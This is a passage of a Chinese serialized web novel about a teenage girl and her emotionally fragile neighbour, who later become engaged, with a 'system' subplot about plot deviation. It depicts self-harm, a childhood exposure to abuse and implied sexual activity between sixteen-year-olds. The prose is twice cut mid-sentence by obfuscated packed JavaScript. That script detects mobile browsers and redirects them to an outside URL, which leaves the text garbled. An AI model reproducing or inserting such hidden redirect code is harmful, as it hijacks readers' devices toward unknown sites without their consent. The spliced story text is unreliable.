温让青对市里更熟悉,所以就带着莫行一逛了一天,买了很多纪念品和特产、补品,直接打包寄回济河。最后两个人坐公交车回家时,灰青色的天幕飘起小雪,温让青低沉的情绪终于被雪花卷走了一些,看着低头发消息的莫行一,他问她:“寒假你回济河都干什么呀?” “帮姥爷杀鸡,给小娟和豪豪补课,还要给姥爷供奉的神仙们上香做贡品........总之零零散散的活,都得我帮着姥爷干。” 莫行一板着脸回答,但神态却有些少年人的骄傲和神气。温让青望着她的目光越发柔软,思绪也随着她的描述沉浸到陌生而又亲切的济河乡下。 “真好啊。”他有些落寞地感慨,又踌躇片刻,扯出笑:“你回济河之后肯定不会记得给我发消息了。” “是的,姥爷家里没扯网线,手机用流量不划算,而且一般回家之后会很忙,不怎么看手机。” 听到莫行一的回答,即便早有准备,莫行一还是有些心酸,撑不住笑,被风又刮得眼圈泛红。他就这么盯着她看了一会在,直到周围等车的人小声议论他们时,莫行一才反应过来,抬头看了看他,惊讶地摘下手套给他擦了擦眼泪。 “被风吹哭了?这么冷呀,那我们打车回家吧。”莫行一体贴的安慰惹得温让青揉着眼睛笑出来,完全不想再和她置气了,只好坦白:“不是被风吹的,是你,莫行一,你回老家之后可不可以一星期给我回一次消息?一个多月不见你,我肯定会想你的。” 寒假结束之后,莫行一回市里那天是温让青在车站等她,因为回流人多,他很担心会错过莫行一,所以提前三个小时就到出站口等她了。 温让青自以为妥帖,但看到莫行一出来之后,还是忍不住笑了,只觉得自己真蠢,她那么亮眼的人,怎么可能会被人潮给湮没呢? 莫行一的行李箱上挂了大包小包的塑料袋,甚至还有两根水灵灵的芹菜被她拎着,她也看到了出站口笑吟吟朝自己招手的少年,挤开人群跑过去,莫行一把挂着的塑料袋都解开摊在地上,给他介绍:“这个是我们济河人过年会吃的油果子,江米条,还有红枣糕,桃酥被挤碎了,你回家泡茶吃好了。” 温让青原本在接她之前收到了宋医生的消息,他说寒假这段时间温让青的心理状态持续恶化,必须采取药物治疗引起重视。而现在,温让青听着莫行一的介绍,陪她蹲在地上挨个尝了尝济河的特产,甜甜蜜蜜的,他被攥住的心头也泡进了糖水里。 “莫行一,我还以为你不记得我这个朋友了。” “怎么会?”莫行一收起袋子,重新拎起来,又弯腰将温让青捞起来。她的手在冬天也是温暖的,仅仅靠近就能感受到春日独有的被晒透的生机与温度。温让青下意识地攥住她的食指,没有松开,而是用湿漉漉的眼睛望着莫行一。 她低头看了眼,以为温让青手冷,便反过来握住他的手,轻轻摩挲着,解释道:“姥爷和小娟豪豪他们很喜欢你挑的礼物,所以也让我带礼物给我在市里的朋友。而你是我在市里唯一的朋友,所以,温让青,这些礼物都是你一个人的。” “我一个人的?”少年咀嚼着这几个字,手心升温,整个身子都烫起来。白皙的脸颊蕴出绯色,温让青又靠近她一点,缓缓勾起唇瓣,笑得像只得意的金毛,晃了晃脑袋,开心道:“那太好了,莫行一,我会努力的,一直一直地做你唯一的朋友!” 26. 温柔白月光竹马是背德师生文男主(三) 后来莫行一在初中确实只有温让青一个朋友,因为初二下学期,她就被学校允许跳级升到东校区的高一实验班。初中班级里的同学对莫行一天然有种学霸滤镜,所以日常相处虽然友好,但总有种疏离在。毕竟所有人都像温让青一样,可以圆滑熟练地和各种人打交道,使得他身边的所有人都如沐春风。 莫行一的父母对于她跳级的事情不是很在意,只不过担心她和高中部的学生相处不来会产生心理问题。这点莫行一倒是亲自保证了,放心吧,她在初中部一样和同学相处不来。 于是父母只好妥协,好在隔壁的好孩子温让青主动提出要帮莫行一到高中部熟悉环境。搬去高中部的那天,温让青拒绝了其他同学的帮忙,自己拎着莫行一的书包,另一只手牵着她去认东校区的路。 夏天手容易出汗,莫行一牵了一会不舒服,所以想甩开温让青,但又被他立刻捉回去,斑驳树影淌过眉眼,他笑得有些勉强,问莫行一:“高中部离初中部有点远,上下学时间也不一样,很快就不能和你一起写作业去食堂了,你这会别甩开我了嘛。” “你可以和其他同学一起去啊,而且你已经初二了,没人陪你写作业你也该好好写作业,按照现在的成绩,你上本校的高中部都很难。” 莫行一从不懂什么叫委婉,即便此刻沁红双眼几乎要哭出来了,她也只是没有甩开他的手,有些费解地说:“你又要哭了吗?温让青,我从小就不会说别人想要我说的吉祥话。而你确实很会在三言两语之间讨周围人欢心。我认为,如果你总是因为我要掉眼泪的话,那分开不在一起玩就是正确的选择。” 温让青站在原地,垂着眼睫,泪珠扑簌簌地掉落,他咬着忍住哭声,直到莫行一叹了口气,夺走他手里的书包,少年仍旧站在原地没动。 “我们太不一样了,温让青,谁让你伤心,你就离开谁。这是很简单的,你妈妈就应该教过你的道理。” 莫行一在高中部第一周就交到了朋友,这时候她才意识到,十三岁的她变了很多,皮肤已经变得白嫩起来,又因为温让青平常喜欢贴身带红枣芝麻核桃之类的零食给她吃,所以气血充盈。她的五官也很清秀,齐肩的短发被温让青用发膜护理得光滑柔顺。甚至莫行一的校服上也沾着小青桔的清香,是因为温让青总给她洗衣服的原因....... 意识到温让青的无孔不入,莫行一渐渐觉得有些奇怪。尤其到高中部之后,因为没有温让青帮她包揽团体活动的交际,所以当莫行一亲力亲为地参与其中,并且在过程中结交认识到朋友之后,她才恍然大悟。 原来温让青在帮她的同时,也笑盈盈地将莫行一完全束缚在了他所谓朋友的屏障里。莫行一隔着透明的玻璃却始终无法和玻璃外的人交往,而亲手铸造玻璃的温让青,又一遍一遍地揉着她的脑袋,柔声安抚:“没关系的,没关系的,莫行一,你不要和他们交朋友,你有我一个朋友就够了。我肯定比他们所有人加起来都对你好。” “请你,莫行一,请你一定一定选择我........” 南川初中与高中之间隔了一个校区,平时吃饭跑操也是分开管理。所以直到开学一个多月之后的校运动会,莫行一才重新见到温让青。初中部的同学骤然见到自己班里跳级的学霸,都觉得与有荣焉,纷纷跑过来和她打招呼。 莫行一回答完他们的问题,然后就被高中部的朋友牵着手领到看台上。因为她年纪小,所以高中部的朋友很喜欢捏莫行一的脸,或者摸摸她的脑袋,让自己多少也沾点聪明劲。 初中部的同学回到座位上之后,难免会讨论莫行一,他们惊讶于这么个古板的人居然在高中部那么吃得开,而且赛程单子上,她还和朋友一起参加了班级接力比赛,全然是一个很有班级凝聚力的团宠角色嘛。 “莫行一是不是觉得我们太笨了,才和我们没有话题聊啊?”有人疑惑地问,然后就被另外一位同学斑驳,他推了推从高中部入场之后就一直勾头沉默的温让青,说:“怎么会?让青和学霸关系就很好啊,他们还是邻居,肯定平常也会玩,是不是?” 同学们看着温让青等他回答,而少年捏紧了衣摆,手指勾着一个线头,用力勒得指肚充血,再抬头时依旧是和煦的笑容,他弯弯眸,目光掠过看台上正趴在朋友背上和另一个人讨论题目的女孩,温让青回道:“之前是很好的朋友,但现在和莫行一见面很少,关系也渐渐疏远了.......” 他吸了口气,眼尾烫得他慌乱侧身,掩住那滴晶莹,他微不可闻地喃喃着:“可能,可能我本来就是莫行一最不重要的那类朋友吧。” 运动会结束之后就是休息日,所以高中部和初中部难得一起放学。莫行一搬凳子和朋友回教室的时候,发现走在前面的初中部的学生里,白皙清瘦的少年蹙着眉,长跑比赛结束之后的血丝还晕在颊边,碎发汗湿在额角,他的脚应该是受伤了,但因为周围人都着急回家,就没有人发现温让青僵硬的姿势。 莫行一知道温让青是那种即使疼死也不愿意开口麻烦别人的小孩,所以她跑快回到教室,找班长借了一辆自行车,推到校门口,等了二十多分钟,才在最后快关校门的时候看到温让青一瘸一拐地背着书包出来。 温让青看到了他,却又闷着头往前走,莫行一只好推车堵住他,然后扯着少年的书包带将他摁在车后座上。 “你的脚估计是跑太久扭到了。三千米比赛肯定是班里其他人都不愿意报,体育委员一求你,你不好意思拒绝就硬着头皮答应了。温让青,你不愿意就直接.......” “好,莫行一,那我现在不愿意坐你的车,我又不是你的好朋友!你别管我啊!” 少年颤抖的声音吼得莫行一瞳孔一震,她难得见温让青发火,所以下意识的反应竟不是生气,反而有些欣喜。她伸手控住温让青的脸不让他挣扎,然后微微俯身将他的眼泪给擦干净,察觉到他湿润委屈的注视,莫行一郑重纠正他道:“我没有说不和你做朋友,我只是认为朋友也不应该一直黏在一起。温让青,你敢说你没想过挤走我身边所有的人吗?” “你知道?”温让青怔然反问,倏忽又扑哧笑出声,泪湿的眼睛讥诮地撩起,他起身离开莫行一的自行车,踉跄地走远了些,温让青站在晚霞的阴影里,没有回头,只是自厌地问她:“莫行一,既然你早就知道我是个什么样的疯子,那之前,你都是在看我的笑话吗?你看着披着温柔的皮扮演你的好朋友,看我小心翼翼地伪装自己阴暗的心思.......你竟然觉得很有趣吗?” 莫行一推着车站在晚霞明艳处,衣角都沾着赤红的色彩,她没回答,因为莫行一在思考。目光中温让青背对自己逐渐走远,她终于断定这个温煦体贴过分柔和的少年,确实患有严重的心理疾病。 在济河,一般姥爷会警告莫行一不要贸然插手别人的因果,各人有各人的劫难与命数,人一辈子总要独身来独身去。莫行一认同姥爷的观念,更何况,在她的逻辑里,比起自己这个所谓的朋友,温让青更需要一个专业的心理医生。 运动会之后,莫行一回家问了父母,他们并不太了解温让青的家庭,只有偶尔在电梯间遇到,温让青的妈妈是个十分漂亮的女人,换男友的速度也快,想来应该是个开放西式的单身妈妈。 莫行一不是一个纠结的人,决定放手温让青的因果之后,于是就继续她自己的生活。但没料到是,一个星期之后,初中部的班主任忽然在周三午休的时候,找到高中部,把莫行一叫出去之后焦急地说:“莫同学,你和温让青是邻居对吧?他已经莫名其妙旷课一周了,但给他妈妈打电话又是关机,联系不上。老师担心温让青出什么事,你下午放学可以去他家看看吗?” 下午最后一节课是自习,莫行一进度早就超出老师的教学课程一大截,所以她提出早退,班主任也只是叮嘱路上注意安全。而莫行一显然一路骑车骑得飞快,先是跑到保安室求值班人员掉了监控,发现运动会那天温让青回来之后就没有再出去过。于是她几乎是飞奔到四楼,砰砰砰砸门,还没喘匀气就朝屋里大声地喊:“温让青!你给我出来!你是我的朋友,好朋友!你出来,你只要出来我就承认你是我最好的朋友!” 屋里传来易拉罐被踢开的声音,莫行一松了口气,还好,至少没有死在里面。但等了会还没来开门,她就继续喊:“你出来一下,温让青!你不是说要当我最好的朋友吗?!现在你不给你的好朋友开门吗?!!” 屋里还没动静,莫行一咬牙,心一横只能刺激他说:“温让青!今天周三!你说过要帮我练口语啊!你不出来我找别人.......” 彭—— 莫行一的话没说完,门被从里面打开,温让青赤脚站在门口,布满血丝的泪眼局促地挽出笑意,宽大的睡衣下,他的身形似乎打了个寒颤。 莫行一屏着呼吸站在门口没有说话,他便温柔地低头去牵她的手,而另一只藏在袖子里的左手,滴滴答答的,温热的鲜血和莫行一的眼泪一起淌落。 “别哭,莫行一,你别哭,对不起,我、我错了,别......” 温让青慌乱地抬起左手想去捧她的脸,但血珠砸在她的校服袖口,刺目的鲜红吓得他慌忙把左手缩回袖子里,无措地看着莫行一的眼泪,温让青陪着她哭,弯腰搂她:“我不好,莫行一,我肯定是做朋友很差劲,所以,你别哭,不要我没关系的,不要我......不要我是正......” “闭嘴!” 莫行一红着眼呵斥他,泪珠砸在温让青被血染红的手背上,她脱下校服裹住他,然后不由分说拿过拖鞋给他穿上,拽着温让青往楼下跑。 风吹掉她的眼泪,莫行一回头,恶狠狠地看着懵懂胆怯又努力跟上她的少年,一字一句地,她警告温让青:“你记着,温让青,我永远不允许你说,我最好的朋友他不好!” 因为送去医院很及时,所以温让青包扎之后就没太大问题了。但为了保险起见,莫行一还是听从医生建议,决定让他留院观察一天。晚上护士查过房之后,温让青就把莫行一拉到了病床上,隔壁床位的叔叔正在打呼噜,少年笑眼盈盈地侧身望着莫行一,他牵着她的手,被子里都是小青桔和消毒水的味道。 “明天不是周三,你还会来看我吗?一一,我还可以做你的好朋友吗?” 他蹭了蹭脑袋,牵着莫行一的手也紧了紧。莫行一却笑了,温让青吃惊,怔怔地看着,不敢相信她这样古板的小姑娘竟然也能为他哭一场笑一场。 莫行一揉了揉少年雪白的后颈,点头答应他:“明天我还在医院,我等你一起去上学。” “好。那我以后可以到高中部等你上下学和吃饭吗?”温让青颊边晕开绯红,眼底泪光点点,他牵住莫行一的手放在自己颊边,依恋地蹭。 “可以,只要我没有拒绝,你就可以向我提出任何请求。温让青,”莫行一已经是今夜第二次笑了,略显僵硬,笨拙地模仿着少年安抚人时笑眼弯弯的模样。她抵着他的额头,认真地说:“不要害怕,你是我最好的朋友。” “以后我或许会有很多朋友,但是温让青,你永远是第一名。别哭,我不抛弃你。” 病房里安静下来,点滴的声音里夹杂着少年大口大口的喘息,涨红的脸淌满泪水,温让青呜咽地蜷缩身子挤到莫行一怀里,死死地搂着她。 “一一,我、我........” “我知道。”莫行一将一个耳机塞到温让青耳朵里,抬手胡乱抹了把他脸上的泪水,她拍拍他的后背,回应了少年的怀抱:“再听一首歌就睡觉吧,温让青,明天我还会在的,你一睁眼就能看到我。” 耳机里歌声轻轻,温让青没有再开口,脸埋在莫行一颈窝,他垂下泪湿的睫羽,激烈的心跳也逐渐平复。月光下的少年像是古堡里沉睡的公主,除了不肯松开抓着莫行一校服的那双手。 I say i say i say i say I promise you 【您好,是莫行一吧?我是温让青的心理医生宋然。之前在和温让青的治疗中听他提起过你,不对,应该是他潜意识里一直在提起你。莫同学,作为他的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而至于温让青的变化,大概是在为了追上莫行一的脚步,寒暑假全泡在了补习班,平时又经常找莫行一开小灶,所以学习成绩从中游直逼班级前几名。同时面对别人的请求,温让青已经学会很自然地拒绝了,偶尔被拒绝者质问他为什么这么冷漠。温让青便红着脸笑,甜蜜地说:“你没有听过一句名言吗?不想笑可以不用笑,不喜欢也可以拒绝。” “你放屁!哪个名人说的!” 温让青施施然地托着下巴,目光掠过气急败坏的同学,落在学校大屏上光荣榜顶部,那个严肃拘谨地望着镜头的女孩,笑意更加温柔,“莫行一呀。莫行一以后一定会出名,这是我说的。” 温让青终于考到本校的高中部时,莫行一已经进入高三,因为高二暑假实验班就要集训,所以温让青只能先帮莫行一收拾行李,衣服、书本、洗漱用品和零食,收拾了两大箱子,于是他理所当然一直把莫行一送到集训的营地。 其他同学见到莫行一,还笑着打趣说:“呦呦呦,贤内助又来送家里的顶梁柱了。” 莫行一绷着脸在想怎么反驳,温让青却笑着接过话:“是呀,所以我们家一一这个月就拜托学长学姐们照顾了。一一是个好孩子,只是不怎么爱说话,你们多担待。” 说完温让青把自己烤的饼干分给周围的同学,然后又牵着莫行一到花坛后面,牵着她的手叮嘱:“别忘了给我发消息,我每天晚上只有收到你的晚安我才睡。” “好。” 莫行一点点头,太阳晒得她脸颊红扑扑的,闷出细汗。 “别忘了我吃给你带的坚果,还有红枣和枸杞,每天要泡水喝。饿了可以吃阿胶糕,我问过医生说女孩子吃了好。” “好。” 温让青笑了,抬手给她抿了抿黏在脸上的碎发,无奈地问她:“马上就要分开一个月,你除了好,就没有其他话跟我说了吗?” “有。”莫行一点头,眼睫颤了颤,而后倾身扣住少年滚烫的后颈,她蹭着他的额头,像两只雏鸟相依偎,莫行一呆板却真诚地,对温让青说:“恭喜你考到高中部,想到我们之间距离可以更近一点,我很高兴。” “你.......”心头不断被欣喜的浪潮冲刷,温让青眼里落下泪,唇瓣却止不住挽起,闭上眼紧紧搂住莫行一,嗅着他们身上相同的小青桔的味道。他带着细微的哭腔,笑着埋怨:“你怎么偏偏在分别之前说这种好听的话呀?莫行一,你让我更舍不得放你离开了。” 高三的生活虽然紧张,但好在莫行一最后是保送进F大的。温让青比她更高兴,特意加了初中部和高中部认识的朋友,热热闹闹一大屋子的人,全来给莫行一庆祝。 因为都是学生,所以晚上十一点多大家就散了。莫行一牵着温让青回家,他玩游戏的时候喝了啤酒,脸颊酡红,湿漉漉地看着莫行一笑。 “一一一一,我的乖乖宝贝,好棒啊。” 走到小区花坛,温让青耍酒疯,捧着莫行一的脸,笑眯眯地夸她,笑完眼圈又红彤彤的,说着就掉落一串泪珠:“可是又要和一一分开了。你怎么跑得这么快啊,莫行一,我、我跟不上你了,我是个笨蛋呜呜呜呜........” “唔你不是笨蛋,温让青,你现在是个酒鬼。” 莫行一拍开他的手,一只胳膊搂着少年的细腰往单元楼拖。但刚走没多远又被温让青整个从背后搂住。青春期的少年抽条,已经比莫行一高了一头,所以温让青很喜欢把下巴垫在莫行一头顶,让后将她整个人塞到自己怀里。 “莫行一,你答应过我可以向你提出任何请求。” “是的。” “那.......”湿热的气息塞在莫行一耳畔,温让青扳过她的身子面对自己,战栗的眼睫散落,月光下少年闭着眼,艳丽的红晕中,他咬唇紧张地祈求:“那你可以亲我一下吗?莫行一,求你亲亲我。” 古堡里的公主正祈祷着笨拙骑士的吻。莫行一摸了摸自己的心头,那里又涩又麻的感觉很陌生。她慢慢捏住温让青的下巴,第一次不受理智控制地做出了行为。踮起脚,她吻住少年湿润红艳的唇瓣,一瞬间,像咬破一颗熟透的樱桃。 香甜的,带着一丝醉人的酒气。 27. 温柔白月光竹马是背德师生文男主(完) 莫行一从来不否认自己做过的事情,所以她在温让青酒醒之后,赤着脚激动地去敲她家的门,然后又站在门口红着眼不知道怎么开口的时候,主动说:“我亲你了,温让青,如果你愿意的话,我们可以发展恋爱关系。” “我、我愿意!莫行一,我愿意愿意我愿意的........”温让青从未这样急切过,温润和煦的气质全都消失,只剩下近乎幼稚的爱慕与依恋。扑到莫行一怀里,几乎将她撞到了鞋柜上,温让青泪湿的脸颊漫出红霞,低下头,他又开始祈求莫行一亲他的眼睛、额头、鼻梁、下巴和嘴唇。 如果可以,温让青扬起纤长的脖颈,细细喘息着看向一圈圈转的风扇。他想,最好让莫行一进.入他。 要想办法让莫行一,完全占有他。 大学生活对于莫行一来说并不什么挑战性,但她却是第一次发现自己那么孤独。这种情绪很糟糕,可能是因为大学同学之间掺杂着成年人之间功利性的试探与摸索,也可能是发现与济河小伙伴们渐行渐远的生活轨迹。 她不知道应该怎么办,即便每周温让青都会挤出时间到F大找她,甚至尽可能地带她去熟悉校园参加社团活动。但莫行一在他离开之后,还是会不可遏制地感到孤独和隐秘的恐惧。 莫行一越发意识到自己正在只身走在一条人迹罕至的道路上,而从前的所有人,姥爷、爸爸妈妈、小娟、豪豪,甚至是温让青,或许有一天他们都会消失在她身后的迷障中。 但她不想停下,因为莫行一知道自己的路是正确的。 莫行一没有和别人说起来她这种情绪,但在跨年夜,本应该在学校补习的温让青突然出现在她面前,并且染了一头金发像一只热情的小狗似的抱住她的时候,莫行一眼里掉下泪来,自己都没有发现。 温让青一点点抹掉她的眼泪,然后笑吟吟地问她:“好看吗?” “好看,但是你明天回学校之前赶紧染黑,不然肯定挨骂。”莫行一声音闷闷地教训他。 温让青捏了下她的脸,抱怨莫行一的扫兴,但还是笑着说:“那你是喜欢黑头发的我,还是金色头发的我?” “都很喜欢。” “好宝宝。”温让青低头奖励地贴了贴她的唇瓣,然后抱着莫行一晃了晃,小声地笑着安抚她:“那你就要明白,这个世界在不停变化,生命之河长流,但总有一些东西不变。” “比如你对我的喜欢,”温让青亲了亲她的脸,又低头吻掉莫行一的眼泪,泪浸透的眼睛笑盈盈的,笃定地说:“也像我对你的爱。所以,别怕,莫行一,你勇往直前地去走你的路,我永远都在你回头就能看到的地方,张开手臂,我来抱你。” 莫行一并不是一个喜欢怀旧的人,所以从过去的记忆中醒来之后,看了眼手机上的时间,竟然已经是中午十一点多了,同寝的师姐正在吃三食堂的黄焖鸡米饭。手机里温让青的消息还在叮叮叮地传过来。 【还没有醒吗?一一,你昨晚几点睡的?和朋友们去酒吧了吗?】 【一一,你胳膊上的伤处理了吗?不能简单包扎,记得要消毒。】 【我下午没课,去学校找你吧。】 【我们办公室的老师问我什么时候办婚礼呢,有点害羞了,一一,你说下个月我们领证,然后准备婚礼怎么样?】 【婚礼上你穿婚纱,等到晚上我穿婚纱,你会喜欢吗,一一?】 【回我一下嘛。】 【我哭了,我要哭了!!!你回我,莫行一!!】 【我现在去找你,你不理我,一一!!】 【我坐上车了,快回我,莫行一!】 ..... 【刚醒。】莫行一刚敲了两个字,对面疯狂发送的消息就停止了,温让青打电话来,声音依旧温和,带着哭过的闷腔,抱怨她:“你睡这么久,怎么平常我让你在床上多陪我一会你都要说我是祸国妖妃。哼,不管,莫行一,今晚你一定要跟我回家。” 习惯了他的情绪起伏,莫行一回了一个好,然后脑子昏昏沉沉的,爬起来找到温度计夹到腋下,然后没头没脑地想到十六岁那年第一次和温让青搞.到一起的时候。 她完全不敢动,温让青又有毛病,哭着求她鞭.打他。那时候莫行一和温让青正因为一个竞赛队友给她表白的事情闹别扭,温让青一直哭听不进去她的解释,而莫行一心神俱疲,又被温让青逼着伤害他。于是起身就想走,但温让青抱着她的腰,哭得惨烈,发丝黏在脸上,一双眼睛泪涟涟的,还没说话就先掉出一串泪珠来。 “对不起,对不起,一一,我不知道怎么才算是正常的爱,我又错了吗?呜呜呜一一,可是小时候妈妈和那些叔叔就是这样啊,妈妈会故意让我在旁边看着。那些叔叔就是这样对待妈妈的。一一,不是这样的吗?是我又错了吗?” 莫行一当时完全震在原地,甚至不知道该从何安慰温让青。她忽然想明白原来温让青自残恋痛还有讨好型人格,都是有原因的。少年跪在床上,环着她的腰仰脸祈求一点点爱。 “你没有错,温让青,是他们错了。别哭,别怕。”莫行一伸手擦掉他的眼泪,捧着他的脸将少年压在床上。温让青在他身下餍足地喘息,抬头蹭着她的额头,湿润懵懂的眼睛蕴出雀跃的笑意,他问:“虽然我很笨,但是一一,你还是喜欢我的对吧?我还是你的第一名,对不对?” 莫行一解开他的校服衬衣,也弯眸温柔地笑,她顺从他的祈求落下一吻,笃定道:“是的,温让青,你不要怕,我很聪明,你想要的、想知道的一切,都由我来教你。” “所以,第一名,我的公主,忘掉他们吧,我在这里,请记住我。” 三十七度六,有点低烧,莫行一起床加了件毛衣,然后刚洗漱完就收到温让青的消息,他站在寝室楼下等着她,因为今天降温,所以出门前给她带了围巾和手套。 莫行一下楼,温让青摸了下她的脸,觉得不对劲,就给莫行一裹好然后带着她拿药,回到两个人的家里。温让青让她吃了点粥,又把药给吃了,然后上床搂着莫行一睡觉。 呼吸之间都是小青桔的香味,莫行一脑子转不过来,但身体却下意识地搂住温让青的腰,脸埋到他怀里,闷得红扑扑的。 “温让青,你相信我吗?” 温让青不明白她为什么这样问,但低头拢了拢莫行一颊边的发丝,笑着答应她:“我完全相信你。” “那我们的婚期推后一年吧。”莫行一似乎没有意识到自己在说什么伤人的话,但温让青的身体瞬间僵住,心头被攥紧,唇瓣张合几次才勉强笑着问出来:“为什么?你害怕吗?一一,还是你嫌麻烦?这些、这些都有我来准备好不好,我不想延后,我迫不及待就像嫁给......” 莫行一忽然睁眼,探究地凝视着温让青泪盈盈的眸子,破碎的目光颤巍巍的倾泄,她不确定他是不是在演,但莫行一确实心甘情愿地心疼他。 【乖女你少了一味人气在心里,所以很难入世,但因祸得福,日后若有机缘,说不能就能窥见天机,另有一番大造化在命格里。】 姥爷在她年幼时的卜词如今乍现在眼前,莫行一抬手抹掉自己的眼泪,也抹掉温让青的眼泪,一板一眼地,她对他说:“不许哭,温让青,你也不许问。你只要相信我,相信我就好。” 白幼薇收到系统提示剧情偏离的消息时,十分震惊,因为之前的位面从未出现过这种问题。毕竟剧情是三千世界的主神原本就一字一句刻好的发展轨迹。于是她查看之后发现竟然是温老师的未婚妻主动推迟了婚期,按照剧情的话,那么白幼薇和温老师相处恋爱和出轨的时间点也都会往后延迟。 而剧情偏移的代价就是主角气运的削弱,白幼薇不得不着急,问系统又问不出来所以然之后,只好主动去大学堵莫行一。在她的认知里,莫行一这种呆板的工具人几乎是没有主观意识的,非常好套话。 她决定直接命令莫行一按时和温老师完成婚礼。但真见面时,莫行一听见她说话,竟是一阵发笑。 白幼薇羞愤地看着周围望过来的学生,指着莫行一说:“那你笑什么!我让你和温老师按时结婚,你听到了没有!” “不是,我笑你啊,你凭什么插手我和我男朋友的感情?而且......”莫行一瞥了眼匆忙朝这边跑过来的温让青,他这两天因为延迟婚礼的事情偷哭过很多次,眼尾红肿,脸颊都有些凹陷,憔悴得近乎病态。 莫行一攥紧手指,收回视线贴近白幼薇的耳畔,笑盈盈地对她低声说:“而且人的感情是多变的,从前喜欢某个人,不代表要一直喜欢那个人,对不对?” 白幼薇钉在原地,一直到温让青跑过来想要吼她但又被莫行一强行拉走之后,她才反应过来,莫行一刚才说的那句话不就是剧情后期,她和温老师的恋情被发现之后,莫行一和温让青在民政局办离婚,而白幼薇故作歉意地求莫行一祝福时说过的那番话吗? 【系统,你确定位面现在除了剧情偏移,一切都很正常吗?】 【回宿主,位面确实一切正常。】 那.......白幼薇眯起眼睛,望着行政楼前面,温让青小心翼翼地扯着笑去牵莫行一,但又被抱着材料的她甩开,只能错开几步落寞地跟着,简直像条丧家之犬。 她忽然后知后觉地担忧起来,温让青.......确实会出轨吗?而且,莫行一,她确定就不会出轨吗? 等到背后的视线消失,莫行一站定,看着白幼薇的背影。她脑海中过了无数个想法,最后确定,推迟婚期这个变量果然消减了所谓系统的力量,所以一点点改变原剧情中节点,最后很大可能会推导出最终□□的爆发点。 “一一,中午吃糖醋里脊吧,你陪我去市场买肉。”温让青又伸出来牵她,指尖冰凉,扣着她的手腕有些用力。 青年哭过的眼睛有些干涸,莫行一看着那双笑眼里的血丝,心头被一根根线勒紧,但强硬地掰开他的手,莫行一拿着材料往实验楼走,头也没有回,对他说:“我中午和教授他们在实验室吃,温让青你先回家吧,我真的很忙,你不要总是来找我。你难道就没有自己的事情做吗?” “我.......”温让青愣在原地,空荡荡的指尖虚虚地拢住,无助地想要控住,但最后只有滚烫的眼泪掉在手心。他声音压抑,眼里的清明一丝丝将要被吞噬尽了。 温让青不明白,他想问莫行一:“可是我想做的事情全是关于你的呀,想给一一做饭洗衣服,想抱着一一躺在床上睡一整天,想和一一买房结婚,我想不了什么伟大的事情,莫行一,我满脑子都是你啊,你竟然不知道吗?” 推迟婚礼的半个月后,莫行一觉得应该走到下一个节点,而且再不推动进程,她有些担心温让青的身子撑不到最后。这段时间他瘦了很多,反反复复地发烧感冒,每天只有莫行一偶尔回家拿东西的时候,他才有精力拉开窗帘,从床上爬起来围着莫行一忙前忙后,生怕她不要他了。 这段时间白幼薇来找过莫行一很多次,总是苦口婆心地告诉她温老师有多好,劝她赶紧和温老师结婚。虽然总是不了了之,但今天莫行一竟然松口了,她大概是有些喝醉了,和几个同门站在校门口,发现白幼薇的时候,还朝她笑了笑。 “怎么?今天对我这么好?是终于□□回头,发现温老师的好了?” 白幼薇红着脸,疑惑地问她。莫行一没有作声,校门口对面的红绿灯路口,温让青正抱着大衣,焦急地等着跑过来给她披上。 之前在玩游戏输给她的师弟还失魂落魄地跟在莫行一身后,她忽然牵住师弟的手腕,转身拇指摁在他唇瓣上,然后俯身贴上自己的指甲。 “抱歉,师弟。以后做实验我帮你。” 莫行一低声地道歉,但从背后看,确实情人亲吻之后温存的呢喃。 白幼薇愣在原地,系统发出剧情严重偏移的爆鸣声,而肩膀被撞了一下,憔悴的温让青跌跌撞撞地跑过来,不由分说地掐着莫行一怀里的男孩,将人摁倒地上殴打,他眼里泪珠一颗颗掉下来,不甘地摇头喃喃着:“是你!你勾引莫行一!都是因为你!莫行一不和我结婚了!凭什么啊,凭什么啊,我十几岁的时候就求她啊,到现在终于可以成为她的人了!你们为什么偏偏都来破坏我们!都来破坏我们啊贱人!!!” “温让青!” 莫行一来不及管因为气运削弱而晕倒的白幼薇,强硬地把温让青从师弟身上撕开,摁着他流血的双手,莫行一也红着眼,说出一个字便掉一滴眼泪。 她浑身冰凉地告诉温让青:“这是我第一次出轨,随你怎么骂,温让青,我不娶你了。” 温让青因为心碎昏倒而进了医院,昏迷的时候他的手死死抓着莫行一,她在疼痛里忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125214|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然很久之前,莫行一还没有喜欢温让青的时候,他做完作业之后趴在她的书桌上,歪着头看莫行一手里的书,少年温暖湿润的目光就像是一只狗狗的亲昵。 少年温让青念着她正看那一行字:“没有人会因为心碎而死。” 莫行一终于扭头看向他,于是温让青又笑着添了一句:“但我会因为缺爱而死的。” “所以莫同学,爱我多一点,再多一点吧。” ------------------------------------- 莫行一从来不半途而废,这次也不会。所以当温让青被强制在疗养院静养的时候,她躲在实验室,挂掉所有人的电话,只是安静地,最后等着那个人。 终于,在第三天的时候,白幼薇给她打电话,语气虚弱,带着恨意和不解质问她:“你为什么要变心!莫行一!你知道吗?出轨是可耻的!你一点脸都不要了吗?你知不知道你害惨我了!” 莫行一笑了,因为很久没有说话,声音嘶哑,平静地反问白幼薇:“是吗?你也知道出轨是可耻的吗?那勾引别人出轨算什么?” “你知道什么了!”电话那端的声音很激动,莫行一笑意更深,“想知道?明天你可以去陇海医院直接找温让青对峙,毕竟,你一开始的目标不就是你的温老师吗?” 挂断电话,莫行一捂着肚子,慢慢蜷在地上笑出眼泪。 